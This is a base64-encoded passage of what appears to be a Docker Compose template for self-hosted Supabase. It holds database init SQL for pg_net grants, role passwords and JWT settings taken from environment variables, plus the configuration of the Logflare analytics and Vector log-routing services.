Q1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlx